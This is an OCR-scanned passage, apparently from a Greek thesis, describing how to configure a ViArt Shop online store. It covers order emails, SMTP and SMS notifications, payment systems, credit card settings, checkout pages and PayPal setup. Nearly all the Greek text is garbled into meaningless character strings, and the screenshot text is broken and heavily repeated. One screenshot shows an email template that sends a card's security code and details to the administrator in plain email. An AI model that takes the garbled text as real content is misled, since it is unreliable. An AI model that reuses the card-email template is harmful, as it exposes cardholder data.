You'l receive an immediate notification by email to tell you that we've got your order and we'll confirm it with a response from our sales

department within the next few days or hours. In the meantime if you have any gueries or require any more information you can contact
us anytime by our contact emails and phone numbers.

Sales Department

Hews FAQ Links Image Gallery Events Site Map

& Local intranet ®100% -

Ewovo 84: “Xog evyapiorodue yio. v ayopd cog”

Me avtdv Tov TpOTO OAOKANPDOVETOL 1) S10dIKOGT0 TNG TaparyyEAiog.

To pMqvopa Tov NAEKTPOVIKOD TOYLIPOUEIOD TTOL TOV ATOCTEAAETOL HOLALEL OTTMG TO
axolovbo:
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‘42? e [J‘_’ Windows Live Hotmail

@ © EB @ A g&.\iﬁn - -:QEpvnAa'n - »I

:_ E' Windows Live b,

Messenge, [V) O,

@ Windows Live™
Home

=7 New ¥ _QRED\V 4 Reply all _aForward ?(Deleta @ Junk Qé; 4 & [e8 Move to l, Check mail

Hotmail Spaces OneCare | MSN

& Inbox = sort by Date v

j Junk r arisalexia@ath.forthnet.gr Order Confirmation

4 Drafts A arizalexia@ath.forthnet.gr B your contact information was saved.
l Sent %] WatchThatPage WatchThatPage: 1 pages changed

il Deleted (5) Messages 1 - -SD of 217
Order Confirmation

arisalexia@ath.forthnet.gr
[ Add contact

(&) Today Thank you for your order received today at http://alexia-acer/ViArt_shop/.
=1 Mail
Contacts Your reference number is 15.
onta
[T calendar These are the products you have ordered:

. o [ Npoidv ]
comlng 2 [ Tipr excl. TAX ]
seon I [ NoooTtnTa ]
[ Zovoho excl. TAX ]
Switch to classic

r
Privacy Statement ¢

Sign out
|sf Options » ®

2KB &
2KB =

Full message view s

<

OhokAnpabnke EB @ Internet

Ho100% T

Ewcovo. 85: wapadoderyua niexkrtpovikod toyvopousiov.

Thank you for your order received today at http://alexia-acer/ViArt_shop/.

Y our reference number is 15.

These are the products you have ordered:

[ [Ipoidv | [ Tyn excl. TAX ][ [Tocotnta |[ Zovodro excl. TAX |

[ ACER ASPIRE ]
[$1,519.69 ][ 1 ][[$1,519.69 ]

[ APPLE IPOD TOUCH ]
[$509 ][ 1 1[[$509 ]

Zvvolo mpoidvtov:[ $2,028.69 |
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http://alexia-acer/ViArt_shop/

Zuvolko k6oTog oyopmdv: $2,028.69

3.8 PuOpuilovrtag T dwwdikacio mapayyeiiog

Omnoladnmote TapayyeAMo EVIAGGETAL GTO GUOTNUO Lo TOTOOETEITAL TNV apP)IKY,
“Checkout: personal information”, ceAida (order info.php).

g avtd 10 01Ad0 M Tapayyerio mpootifetor ot PAcn dESOUEVODV Kot UTOPOVUE
Vo TNV TOPOKOAOLONGOLUE OTO TUNUO TOV OlOYEPLOTH, OTNV KATAOTOON VEN
napoyyerioo tomobetnOnke (Administration > Sales Orders). Ilapatnpovpe 611 M
mopayyeiio £xel amobnkevtel akoOpa Kot av 0ev £xel OAoKANPpwOEl (Yoo Tapddetypa o
neMATNG €xel aArAAEEL T YvOuUn Tov/TNg). O AdYOG Yo pio TETOW GLUTEPLPOPE elvart
0Tl 010 emOuevo Ppa 0 TEAATNG ovokaTELOVVETOL GTN GEMON TOL GULOTNHHOTOS
TANPOUNG KOl TO NAEKTPOVIKO WOG KOATACTNUO EXEL OC EYYPOPES OAEC TIC OLVATEG
ToPayYEALEG.

AoV M mapayyeda €xel mponynbel, vdpyovy dVO SAPOPETIKEG TAPAALAYEG: O
TEAATNG avakaTeLOOVETOL OTN GEAIOD GUOTNUOTOS TANPOUNG 1| TOPOUEVEL GTNV

GpEST) GLVOEDEUEVT GEMOO TOL NAEKTPOVIKOD HOG KOTOGTILOTOG,

. Ymv mepintoon mov  oamorteitor M xpnon  e€mtepitkon
ovoTnHotog TANpoUNG (v mapddetyuo PayPal, 2Checkout ktA): apov N
nopayyerio torofetnOel oty apywn, “Checkout: personal information”,
oeAida (order info.php), o merldtng Ba avokatevBuvhel 6t GeAida TOL
OLOTNHOTOG TNV omoia O TPEMEL VoL TOPEYEL TIG AETTOUEPEIEC TANPOUNG
Tov ko TN oevbuvon mapdadoons. Otav oAokAnpwbovv ot pvbuicelg tov
cvotiuatog mopayyeloc, o meAdtng Bo emoTpéyel omnv  TEMKN,
“Checkout Final”, oceAida (order final.php) o6mov mn mapoayyeiia Oa
kaBodnynlel kot n kaTtdAANAN kotdotaon Ba mpocsdlopiotel. AVTEC Ot
pvOuioelg kaBopilovton amd To Administration > Payment Systems > Final
Checkout Page > Validation Parameters. Mg 10 cuykekpylévo tpomo to
KOplo UEPOG TNG OdIKaciog TapoyyeAiag ekTeAeital o1 GEAldA TOV

GLGTNHOTOG TANPOUNG KOl AAUPAVOLLE HOVO TO. ATOTEAEGILATOL.
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o 2y mepintwon mMov 0 WEANTNG MOPAUEVEL GTN GEAIDO TOV
KOTOOTNUOTOS Kot OAOKANPN 1 Swdikacio petapépetor ekel: a@ov 1M
napoyyeria tomobetOetl oty apywn, “Checkout: personal information”,
oeAida (order info.php), o mehdtng Oo avaxoatevBuvlel otn dedtepn,
“Checkout: personal information”, celMoa (credit card info.php) otnv
omoio. 0 meAdtng Bo voPdrel TIg AemTopEpEEG TANP®UNG TOL (aptBUOG
TICTOTIKNG KAPTOG, TOTOG TICTMTIKNG KAPTAG). APoD T dedopéva Exouv
eloayfel, o meldtng oavokatevBovetor oty oedida  emPePainong
(order_confirmation.php). Exel, o mehdtng Bo pmopet va eréyEel OAeg TIg
Aemtopépeteg mapayyeriog Tov kot va emPePoLOOEL TIG ayOpES TOV.

Avtég ot pvBuicelg kabopilovtor amd to Administration > Payment  Systems >

Final Checkout Page > Validation Parameters.

3.9 Ewdomoinon péow email

Me 10 ViArt shop pmopovpe va deyopacte gwdomomoelc email and Sopopetikég
evépyeleg ot omoieg AapPdvovv pépog oto MAEKTpoviKO pag kotdotnuo. Emmiéov
umopovue vo puBuicovpe Tig €100momoeEl; email wg vanpesia Yoo TOLVG TEAATES TOL

NAEKTPOVIKOD LOG KOTOGTHLOTOG.
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I )3 [ B2

f - B - @ - [ oehoe - Geovabda -

op Entel

System

' Site Home % Administration Menu  Bookmarks
Products Orders cMSs Articles Helpdesk Forum [LEDIE] Site Users System

| Administration > Global Settings

General || E-MAIL ‘I Site Map H PGP ‘

SMTP Settings

Enable SMTP

Host \smm-aum.ﬁ:rmnat‘gr
Port ’25—

Timeout ’—
Authentication parameters

Dvopa xpRoTm ‘ansalexla.am.fﬂrﬂ'met.gr

Kafikog [senusnas

PHP 'mail()’ function parameters

Additional hedears

Additional parameters ‘

% Local intranet #100% v

Ewcova 86: Eidoroinon uéow email, enable SMTP server.

3.10 Ewdomoinon pécm sms

To ViArt shop pog emupémer vo mopopévovpe evnUEP®UEVOL KOl GE 10YD
omotadnmote otiyun. Otav AapPavel yopa Eva kabopiopévo supPav to cvotnua o
AmOGTEALEL SMS €100TOINOT TOGO GE ELAG MG OLAYEPIOTEG OGO KOl GTOVE TEAATEC TOV
NAEKTPOVIKOD HOG KOTAGTNUATOG. MTOpPOVUE VO EVEPYOTO|GOVUE TIC TOPAUKATM
€100TOMGELS SMS:

J ATOGTOAT €100TONCEWMY SMS GTO SO EPLOTH/YPNOTY,

o H amodekt/mpoepyopevn ewdonoinon sms Ba mpénet va
TEPEXEL TOV avTioTOLYO aplBud o debvn mpdTLTa.

. To punvopato sms €100TOCEMV TPETEL VAL TEPLEYOLV TO

pwvope ovtod Kabeavtov.
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{2 ..:: Administration :: Payment Details Page ::.. - Windows Internet Explorer

@.\-7 I |& hittps:/falexia-acer ViArt_shop/admin/admin_credit_card_info.php?payment_id=1 V‘ g ‘ 4| % | ‘ p -

Apyeio  EncEepyacia  MpoPoh  Ayannpéva  EpyoAeia  BonBeia

—= - »
123 e I@.‘::Admmisnahnn:: Payment Details Page ::.. I I Eh © D - - E}'Zzl\iﬁu ~ ik Epvahsia ~

Bec [ A

Reply To ‘

Return Path [

Subject \Credit Card Information for Order Mo: {order_id}

Message Type OHML & Plain Text

Message Mame of Cardholder: {cc_name}

Last 4 digit of CC: {cc_number_last}
Start Date: {cc_start_date}

Expiry Date: {cc_expiry_date}
Card Type: {cc_type}

Issue Number: {cc_issue_number}
Security Code: {cc_security_code}

KAk £0i@ to learn more about email settings
and see all available message tags)

Administrator SMS Notification

Send SMS Notification to Administratar [ (you have to setup your SMS gateway before you can send SMS messages)

SMS Recipient (administrator cell phone number) ‘

SMS Originator [

SMS Message

[Khik £0ii to see all available message tags)
Abkayr

@ Site Home {:c:} Administration Menu Products & Categories Sales { Orders Products Reviews Helpdesk

“:} Local intranet E100% -

Ewova 87: eivomoinon uéow sms.

3.11 T'evikég pvOpicels GVOTNHOTOS TANPOUNG

Koatd moécov oamo@acicovpe va  ypNOULOTOMGOVUE £V VTAPYOV  GUGTNLO

TANPOUNG N VO ONLOVPYGOVUE VO KOVOUPLO EVIEANDS, TO TPMTO TPAYUO TOL

yPEBLeTON VO KAVOLLE Elval vV TPOGOIOPIGOVLE TIC KUPLES pLOUICELC.

AxoAiovBobpe t ddpopn} : Administration > Sales Orders > Payment Systems >

Edit System.
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Payment Systems Windows Internet Explorer

A |g https: ffalexia-acer,Virt_shop/admin/admin_payment_systems.php?page=1

9815

B

Administration :: Payment Systems ::..

LEA" =

-8

@ @ E}‘ZEMBU - "; Epyahzia ~

Payment Details Page Final Checkout Page Recurring Settings &
Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Payment Details Page

Final Checkout Page

Final Checkout Page

Recurring Settings

Recurring Settings

Payment Details Page

Payment Details Page

Final Checkout Page

Final Checkout Page

Recurring Settings

Recurring Settings

Payment Details Page

Payment Details Page

Final Checkout Page

Final Checkout Page

Recurring Settings

Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Payment Details Page

Final Checkout Page

Final Checkout Page

Recurring Settings

Recurring Settings

Payment Details Page

Payment Details Page

Final Checkout Page

Final Checkout Page

Recurring Settings

Recurring Settings =

Payment Details Page

Final Checkout Page

Recurring Settings

1 Personal Yes Ty Edit System
2 VeriSign PayFlow Link Yes oy Edit System
3 Authorize,Met SIM T ox Edit System
4 WorldPay T T Edit System
5 2ChedkOut Yes T Edit System
6 PayPal Yes T Edit System
7 Authorize,Net AIM T T Edit System
8 PRI Merchants Advanced T T Edit System
9 YourPay Connect Dy Lo}t Edit System
10 YourPay APT T Tw Edit System
11 LinkPoint Connect T oy Edit System
12 LinkPoint APT T Ty Edit System
14 Paymate Express Lo}’ Tu Edit System
15 Protx V5P Form O Oy Edit System
16 Protx VSP Direct D 1o} Edit System
17 eGold 5CI T Tx Edit System
18 Beanstream APT D 1o} Edit System
13 Payoffshore API T T Edit System
20 iDEAL Advanced for Ing Bank T T Edit System
21 PayPal Pro (Express Checkout) T T Edit System
22 PayPal Pro (Direct APT) T T Edit System
23 VeriSign PayFlow Pro T oy Edit System
24 ePDQ CP1 T Tx Edit System
25 Garanti T oy Edit System
26 VXSBill.com T Ty Edit System

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page

Final Checkout Page

Payment Systems Windows Internet Explorer

Recurring Settings v

| |E https: //alexia-acer Viart_shopfadmin/admin_payment_systems.php?page=2

9[8[ |

=

w [@ ..t Administration :: Payment Systems ::..

fi- 8

Qé; - l-_;}ZzMﬁu - "; Epyahsia ~

Payment Details Page

Final Checkout Page

Recurring Settings (5

Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page Final Checkout Page Recurring Settings
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

Payment Details Page Final Checkout Page Recurring Settings —
Payment Details Page Final Checkout Page Recurring Settings

Payment Details Page

Final Checkout Page

Recurring Settings

27 ePDQ MPL Dy Dy Edit System
28 FroxyPay oy 0y Edit System
23 Posnet Dyl Oyl Edit System
30 Akbank Dy Oy Edit System
31 Nethiling oy 0y Edit System
32 Chronopay Dyl Oyl Edit System
33 Multipay Dy Ox Edit System
34 Google Checkout APT Dy 0y Edit System
35 Akbank 30 secure Dyl Oyl Edit System
36 Protx V5P Server Dy Oy Edit System
7 WCS Dy Dy Edit Svstem
38 Cybersource SOP oy 0y Edit System
3 KORTA in Iceland Dyl Oyl Edit System
40 eCommerceConnect Ox Oy Edit System
41 Cashu oy 0y Edit System
42 ECHO Dy Oy Edit System
43 ManeyBooker Dy Oy Edit System
+“ SIPS Dy Dy Edit Svstem
45 DGL (Credit Card) Dyl Oyl Edit System
4% DGL (ACH Interface) Dy Ox Edit System
47 DGL (EUDEBIT Interface) Dy Dy Edit Svstem
43 Nochex Dyl Oyl Edit System
49 iDEAL Easy for ABN AMRO Dy Oy Edit System
50 PayFlow Pro Direct Dy Oy Edit System
il PayFlow Pro Express oy 0y Edit System

Payment Details Page

Final Checkout Page

Recurring Settings v
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:: Payment Systems ::.. - Windows Internet Explorer

@.\ I |@ https:/falexia-acer ViArt_shop /admin/admin_payment_systems.php?page=3 v| %J b dIbS | | Pl

—_— — . »
w [@ Administration :: Payment Systems ::.. [ I E} - B = - |ib ZehiBo + {Cf Epyaheia ~

\ ViArt Shop Enterp
Orders

1 Site Home o3 Administration Menu  Bookmarks
Products Orders CMS Articles Helpdesk Forum Manual Avyyehisg Site Users System

‘ Administration > Payment Systems

m A Y Payment System Name /. " Active /+ % Default & %

52 Gate2Shop T oy Edit System Payment Details Page Final Checkout Page Recurring Settings
Mew Payment System Mponyolusve [ 3of 3]
ﬂ Site Home @} Administration Menu Products & Categories Sales [ Orders Products Reviews Helpdesk

Ewcova 88: Lootnuo tinpoun.

Eni tov mapoévrog, 1o ViArt Shop vmootpilel, og mpoemhoyn, 52 cvothipota
TANPOUNIG. AVTO onuaivel 6Tt NN €yovpe 52 GLOTHUATO TANPOUNG EYKATECTNUEVA
YL 10 NAeKTpoVIKO pog Katdotnue. To povo mov yperaletar eivar va pvBpicovpe va
Aoyaploopd o€ KabBéva amd avTd Yo vo LTopoVUE VoL TO XPNCILOTOGOVUE. APOV
Kévovpe avtr TN odkacia, tote amatteital vo e16EA00VUE GTIC AETTOUEPEIES TOV
Aoyaplaopol, TIC omoieg TG maipvovue omd TO GOOTNUO TANPOUNIG HEGOH OTO
NAEKTPOVIKO LLOG KATAGTNLLOL.

Avaykaio TpohndBeon eivar vo COUTANPADOCOVLE T TOPAKAT® TESTOL:
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5 ¥ | €] https://alexia-acer /ViArt_shop/admin/zadmin_payment_system.php?payment_id=1 v % 4 (X R
Apyzio Enckzgpyacia  MpoPohn  Ayannpéva Epyolzia  BonBaa
n - o i § X »
w o (& ..:: Administration :: Payment Systems :: ‘ | - Bl e < [ip ZeNiGa - (G Epyaheia -
. - . : —
Helpdesk Forum Manual Ayyehisg Site Users System
Administration > Payment Systems > Edit Payment System
General | Users Tvpes
Is Active
Is Default [ (if you use multiple payment systems you can make one of them selected by default)
Use for Call Center [ (only Advanced system can be used for Call Center)
Payment System Name * ‘Persona\
User Payment System Name ‘
Processing Time (hours needed to processing the payment - used to estimate delivery date)
Payment Information
(shown for Users)
An example of payment system that does not process payments automatically but
may collect credit cards data for offiine charging.
Installation Notes
Payment URL * \Uedit_card_info.php
Form Submit Method @®eer OpPosT
Ekove -
& Local intranet # 100%

Ewovo 89: POOuion ovotiuoatog mAnpwung.

o Eivon evepyd (Is Active): evepyomolet/anevepyonolel 10
GUOTN O TANPOUTG.

o [lpoemireypuévo (Is Default): puOpuilel to cvoTUA TANPOUNG ©G
TPOETIAEYUEVO.

e Ovopo ovotmuatog mAnpouns (Payment System Name): to
OVOLOL TOL GUOTNHHOTOG TANPOUNG TO omoio Ba gpeaviletar GTovg
TEAATEG KO 0TI AMOTO T®V GLUGTNUATOV TANPOUDV.

e [I\npogopiec minpwung (Payment Information): pog emrpénet
Vo €1GGYOVUE 0L TTEPLYPAPT] TOV GULOTNUOTOS TANPOUNG N KATO
dAAN minpogopia. To cvykekpiévo, Bo epeoviotel oTovg meEAdTEG
o010 “Checkout” ot cehida dnAadr mov Oa wePIE)EL TIG AETTOUEPELEG
TANPOUNG.

o nuewwoelg gykatdotaong (Installation Notes): mepihapPavet
KOTO1EG 00MYiEG OYETIKA LE TO MG 0pYAVOOEL TO GVGTNO TANPOUNC.

H mnpoeopia avtr givar opati) pdvo 6Toug SloyeploTés.
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e [otocerida mAnpouns (Payment Url): xaBopiler tnv katdAnén
oV omoia o0 mehdtng Ba avakatevBuvBel g TPOg TIG AemTOUEPELEG
TANPOUNG TOL/TNG. Avtd pmopel va emtevybel 010 dikd pog server
(credit_card_info.php) g mpoemheyuévo, | akOpo Kol 6 €EOTEPIKO
server.

e MéBodog mpotumov emPefaimwong (Form Submit Method):

kaBopilel mog ta dedopéva Ba emPBefarmbovv.

3.12 XMoo AETTOUEPELOV TANPOUNS

(= ..:: Administration := Payment Details Page ::.. - Windows Internet Explorer
@\_—‘/ - |g, https: /falexia-acer ViArt_shop/admin/admin_credit_card_info.php?payment_id=1 V| E ‘ +| X ‘ | L=
Apyzio Enzkzpyacia TMpoPodn  Avyannuiva  Epyaldia  BonBaa
vy I@ Administration :; Payment Details Page ::.. I_I ﬁ B [5%3 = [ 2eNBa ~ (G} Epyaheio ~ >
Payment Parameters Show Required Show Required )
ONOMA KATOXOY KAPTAZ O O
Mikpé Ovopa O O O |
Endvupo (il O O |
ApiBoe KapTag O ]
Huepaunvia Evaping kaprag O O ]
Expiry Date O O
Tunog kiprag O |
ApiBpéc kapTag O O ]
Kwdikog aopakaag O O O
Credit Card Settings

{use comma to separate different credit cards numbers)

Allowed CC Numbers
(e.0.: 4111%, 45552222*%, 450450%)

Forbidden CC Numbers
{use comma to separate different credit cards numbers)

Secure Options

Cut off from credit card number four last digits (5405 4054 0540 ****)

Credit Card Number O Don't save in the datsbase () Save enarypted

Kwlikoc ampakaag O Don'tsave in the database (3) Save encrypted

Administrator Email Notification b

‘3‘ Local intranet E100% -
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Ewcova 90: Lemrouépeieg minpoung koi poOuicels motwtikoy KopTmy.

Oo mpémel vo emMAEEOLUE KATOLES TOPAUETPOVS TANPOUNG OT®G epeavifovion
oV €KOva 82: dvopa KATOXOL KAPTOS, OVOUN, ETMVLUO, OPBUOg KAPTAG, TUTOG

Kaptag, nuepounvia AMENG KapTaG KTA.

Eniong otig puOuicelc aceareiog, pmopovpe va kobopicovpe T0  €mimedo
acQOAEiOG OO TNV TAEVPA TOV OLOYEIPLOTI), GTO NAEKTPOVIKO OGS KATAGTLLOL.

e  ATOKOT TOV TEGGOPOV TEAELTAIOV YNPIOV TNG MGTOTIKNG KAPTOG

(Cut off from credit card number four last digits): Epdcov 1o éxovpe emrétert,

ot opuol TOV MOTOTIKOV Koptdv 6Oa speavifovtar oe OAOVE TOVG

dlyeplotég ywpig ta técoepa televtaio ynoeio (Administration > Orders
Maintenance > Order).

e O oplBudg ™G TOTOTIKNG KAPTAG KOl 0 KOOWKOS acpoieiog Oa

YVOGTOMOLEL GTO GUGTNUA MG VO YEPLOTEL TO avTioTora dedopEva: Vo Ta

amoOnNKevEL KPLTTOYPAPNUEVE £TCL DOOTE O VTNV TEPITTOON dev givat

dVVATOV KATO10G VO ETOVOPEPEL TOL OEOOUEVAL.

3.13 Tehwkn oerhioa tanpom)s (Final Checkout Page)

Apod 1 mapayyeMoa €xet mAéov  emPeforwbel omd TOv  meEAdTn, TOTE
avakatevfvvetal oto teElevTaio Prua ¢ ddkaciog OVTHG. X& OVTO TO GTAS0 O
TEAATNG EVNUEPMOVETAL YOl TNV KOTAGTOON TNG mopayyeAog Tov M omoio €yel

tonofetnOel. H dtodpopn etvar:
Administration> Sales Orders> Payment Systems> Final Checkout Page
To tuquo ovtd pog emitpémel va pvbupicovpe to pnvopota to omoio Oa

epupavifovror otovg meAdteg Katomy v emPePaivwon g mapayyeog Tovg, emiong

emrpénel T pvOuUIon TV e-mail gWomoMmcEMV.
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=z Administration :: Final Checkout Settings ::.. - Windows Internet Explorer

@@ b ‘g‘ https: falexia-acer ViArt_shop admin/admin_order_final.php?payment_id=1 v| % | 9| % | ‘ ol

Apygio  EnzBepyacia  MpoPoAn  Ayannueva  Epyadsia  BorBaa

w @ ‘@..::Admimshanan::ﬁna\ Checkout Settings .. |7‘ [ ] o - ;b ZehiBa - {CF Epyakeia - -
Validation Parameters ~

Additional Validation

Validation Script
Success Status

Pending Status (if applicable)

O
2 B =

Failure Status

Final Messages

On Success Message <p>Thank You for Purchase! </p> “~

<p align="justify">

You'l receive an immediate notification by email to tell you that we've got your
order and we'll confirm it with a response from our sales department within the
next few days or hours. In the meantime if you have any queries or require any
more information you can contact us anytime by our contact emails and phone
numbers.

Pending Message Your transaction wasn't finished and is waiting for approval,

On Failure Message An error: “{error_message}” occurred while processing your order. We are sorry

for any inconvenience caused.

Email Notification
Send Notification to Administrator On Success 0On Pending On Failure
Enable PGP encryption 0

Khik 28 to specify global PGP encryption parameters)
v

OhokhnpaBnke ‘J Local intranet H00% v

Ewcova 91: mapouetpor emPefoimons, telixa unvouoto. kor e-mail

ELOOTOINOEILG.

2116 mopapETpous emiefainong, Katapyny, Yo vo ETITPEYOVUE GTO GUGTIUA VO
yvopiler moo axpiPog pnvopa Bo gpgovifel otovg meAdrteg avdioya pe Town
Kataotaon mpocsolopilel v mapayyera, Ba ypelaotel va pvOuicovpe ta dedopéva
g ddikaciog emiPePainong.

v wePInT®OOoN MOV YPNCIUOTOOVUE  €EMTEPIKO GUOTNUO TANPOUNG Kot
OAOKANPN M O00IKOGI0 TOPAYYEAING TPOYLOTOTOEITOL €KTOG TNG OEAOOG TOV
OLOTNHOTOG oG, APOV 0 TEAATNG TapEYEL OO TOL OEOOUEVO TOL OTTOL0L OITOLTOVVTOL KO
emPefordoet v moapayyehMa tov, tote B mpémel vo avakatevBuvOel otV TEAIKN
oeAido TANpoUS. Ev to petadd Oa mpémetl va KaTEYOVE TO ATOTEAEGUATO TOV EXOVV
ypnoporombel amd t0 cHLOTNUE TANPOUNG KOl VO EMTPEYOVUE GTO GLGTNHO TOV

NAEKTPOVIKOD LOG KOTOGTHOTOG VO XEPIOTEL AVTA TO ATOTEAEGLLOTO, KATAAANAQL.

3.14 Anuovpyia PayPal
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To PayPal xobictator éva omd to wo Sdedopéva GUGTHUATO TANPOUNAG TOL
ypnowonoleiton  mwaykoopioc.  Emopéveog, mn mOAn  mAnpoprg PayPal  eivon
OAOKANPOUEVT 0T0 MAEKTpOVIKO kotdotnuo ViArt koabmg oamotelel €va amd ta
Baocikd mpokaBopioUEVa GLGTUATO TANPOUNG.

Eni tov mapdvtog, 1o nhektpovikd kotdotnpo ViArt €xel tpelg mOAeg TANP®UNG
PayPal, ovopaotukd:

J PayPal

o PayPal Pro (Express Checkout): mpoc@épel 1 Odvvotdmra
OTOVG TMEAATES VO XPNOUOTOOVV TN YPEWMCTIKY TANPOPopia. mov &ivor
amoOnkevpévn oto PayPal Aoyaploopud tovg kot dev givarl vmoypewpévol
Vo EIGAYOVV TIG AETTOUEPEIEC TANPOUNG OTOV YOVILOVY GTO NAEKTPOVIKO
KOTAGTNLLOL.

o PayPal Pro (Direct Api): emutpémnet GTOVG EUTOPOLS VL
TAPEYOVY  VANPECIEG MNAEKTPOVIKOV TANPOU®V €5 OAOKANpOL otV
otoceAida toug pécmw API g PayPal. Ot emokéntec tov niektpovik®dv
KOTOOTNUATOV UTOPOVV VO OEKTEPOULDCOVV TIS GUVOAAAYEG TOVLG ME
OTMOLOONTOTE TMOTOTIKY KAPTO Kot dgv elvar amapaitmto vo dbéTovv

Aoyapraopod oto PayPal.

IMa va gykataotioovpe cwotd to PayPal cOvotuo mAnpoune oto nAektpoviko
HOG KOTAGTNUO TPEMEL VO, ONUIOLVPYNOCOVUE TS KATAAANAEG puBuicelg yo ovto.
Apyikd, mpénet va dnovpynoovpe évov PayPal Aoyaploaopd (av dev €govpe Mon

éva).

[No va omuovpynoovpe évav emayyeipatikd(business) PayPal Aoyoprocpo,
axolovBovpe o TapoKdT® Pripota:

1. TInyaivovpe oto: www.paypal.com .

2. Emiéyovpe gyypaen onuepa (sign up today).
3. Anpovpyovpue évav AOyopLacHo Yo IOLOKTNTEG EMLYEpNONC.
4.  AxoiovBole T 0dnyieg OV HaG KATELOBVVEL 1] 1GTOGEAISN TOV

PayPal.
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Extog av non €yovpe évav mpoocwmikd Aoyaplacud (personal or premier account),
aKoAovBovpe ta TapaKdTe PrypoTo:

1. TInyaivovpe oto: www.paypal.com .

2. Emiéyovpe 10 avafabuion 1ov mpocomikod (o AoyoplacsLov.

3.  Emiéyovpue 10 xovuni avapaduion topa.

4.  AwAéyovpe vo avaPaduicovpe 6€ ETAYYEAUATIKO AOYOPLACHO
Kol akoAoVBOVLE TIG 00N YiES Y10 VO OAOKANPMGCOVLE TNV ovafdOuon.

5. Av dev &ovue ©ON, tpocBitovpe Evav tpomelikd Aoyaplocuod
v va yivoope emBePatopévo pérog (verified member). AxkolovBovpe
TG odnyiec mov pog katevBivel N 1otocedida tov PayPal. Avt)y n

dtadKacio pmopel vor S1opKEGEL dVO e TPELS EPYACIUEG LEPEC.

_ Pavment Ccustomer erters
| | . o L infarmation on
|13 e I.1III| = Billing b=it
= | x_?_;' T wour wwebsite.
Customer pays Shipping
wyith & credit card.
| E— | e
o | B | e
I 1“' L 11 ] : I nne
L, - ——— — 20
Shopping Cart e Confirmation

PavPal proceszes
payment.

P
I"'\.._g_-'l
. Stored Shippin
Crmcsut P FRINg
s Z Billing Info

Customer canfirms
purchase and
returns to vour site.

The safer, sasier way B0 pry

customer pays
weith PavyPal.

Ewova paypal: o1 meAateg wawviovy 1o nAEKTPOVIKO UOS KOTATTHUA
KOl KQVOVY KALK 0TO KODUTTL TANPWUNG, § TANPOUN YIVETOL UECH OTPOLMDV
oelidowv mov mopéxel 10 paypal ko teAKG 01 TEAGTES EMOTPEPOLY GTO

NAEKTPOVIKO UOG KOTOOTHUO UETA THV TANPWOUT TOVS

PvBon tov ViArt Shop ywo PayPal Aoyapiacud:
Otav o Aoyoplacuodg pog €xet ompovpyndel kol or amapaitnteg pvuicelc Exovv
yivey, 10 emouevo Prua eivor va dnuovpyncovpe okpiPeic pvuicelc dStapdpemong

0TO NAEKTPOVIKO pog kataotnua. ‘Etot akolovBovue ) dwdpoun: Aayeploms >
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[Mopayyerieg > Xvotua TAnpoung, kot emAéyovpe PayPal kot kdvoope kiik oto
“edit system”. X1 cuvéyeln, COUTANP®OVOLLE Ta TTEdia TOV Bewpole arapaitnra.
Y Mota pe Tic mopou€Tpovs, Kabopilovpe vV mAextpovikn oevlvvon g

emyyelpnong pog émov Aéet: your.paypal@email.address kot kaBopiCovpe v aia ya

10 “at” (mapApeTPOg TEKUNPiOL TATOTNTAG) 0 TG puOuicelg Tov PayPal.

"EAeyyoc:

Mo va ehéyéovpe to PayPal chompa mAnpoung tpotod dokipactel (ovtavd, to
PayPal pog emtpénet va 1o kévovpe ontd ¥PNCILOTOIOVTOS TO KoAovpevo “Sandbox™
mePPArLov eAEYYOL Ywpic va exteAoDE aAnBv dlekmepaimon TAnpouns. I'a avtd,
O mpémel va dnuovpyndet évag emmAiéov Sandbox Aoyoplacudg axorovbovtog to

Puata wov meprypagovtat omd ) cerida Tov Sandbox Aoyoplacov.
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4. A\eKTEPUIMOT TANPOUOYV NES® TPATELHS

Tpanelo Eyvatiag, http://www.egnatiabank.gr

H Eyvatia

[Ipoxertan yo:

Tpanelo mapéxel otovg meAdteg tng entd vanpecieg e-banking.

e Tnv egnatiaPayment, n omoia mpooeépel ™ ovvatdHTTO OE
etoupieg va dtekmepatdvovy avtdpata T cbodosia Tov TPocOTIKOD
TOLG | VO EKTEAOVV OTOLOONTOTE AAAN EVTOAN TANPOUNG TPOS TPITOVG
HEG® O1001KTHOV.

e Tnv vmpecia egnatiaTeller, n omoila amevBHVETAL GE OLDTES
KOl  EMYEPNOES TOPEYOVIOG TOVG TN  OLVOTOTNTO  OLEVEPYELNG
TponelIKOV GUVOALAY®OV HECH internet.

e Tnv vmnpeoia egnatiaTrader, n omoie amevBiveton ce 1O1OTEG
Kol etoupleg  Olvovrag  TOug T OvvoTOTNTO  EKTEAECTG
YPNUOATICTIPLOK®DY GLVOALOY®DV KOl YPNUOTICTNPIOKNAG EVIUEPMOTG
péow internet.

e  Trnvvanpeoia webFunds, 1 onoia Tpoceépet T dvvatdTTa o€
etapieg kot 110TES 01a0eomc Kot eayopds A/K pécm tov dradiktvov.

e T vmnpeoiegc webShop «ow egnatiaPrepay, ot onoieg
angvfHvovTal Ge ETAPIEG TOLV TPOGPEPOLV TPOIOVTIO KO VANPESIES
OTOLG TEAATES TOVG LEGM internet ko,

e Tnv vmmpesio webTicket, mov divel T duvatdtnta Ge eTapieg
